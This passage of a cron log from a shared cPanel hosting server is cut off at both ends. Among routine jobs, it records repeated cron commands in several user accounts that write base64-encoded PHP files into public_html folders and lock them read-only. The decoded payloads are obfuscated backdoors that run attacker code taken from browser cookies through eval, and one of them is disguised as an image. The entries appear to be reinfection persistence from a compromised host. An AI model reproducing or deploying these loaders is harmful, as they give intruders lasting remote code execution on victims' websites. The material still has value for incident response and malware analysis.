0nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:55:01 medusa CROND[12977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:55:01 medusa CROND[12979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:55:01 medusa CROND[12980]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:55:01 medusa CROND[12982]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:55:01 medusa CROND[12991]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:55:01 medusa CROND[12992]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:55:01 medusa CROND[12998]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:56:01 medusa CROND[4861]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:56:01 medusa CROND[4862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:56:01 medusa CROND[4863]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:56:01 medusa CROND[4864]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:56:01 medusa CROND[4865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:56:01 medusa CROND[4867]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:56:01 medusa CROND[4868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:56:01 medusa CROND[4871]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:56:01 medusa CROND[4872]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:56:01 medusa CROND[4873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:56:01 medusa CROND[4870]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:56:01 medusa CROND[4875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:56:01 medusa CROND[4877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:56:01 medusa CROND[4886]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:57:02 medusa CROND[29752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:57:02 medusa CROND[29792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:57:02 medusa CROND[29793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:57:02 medusa CROND[29794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:57:02 medusa CROND[29795]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:57:02 medusa CROND[29796]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:57:02 medusa CROND[29798]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:57:02 medusa CROND[29800]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:57:02 medusa CROND[29803]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:57:02 medusa CROND[29807]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93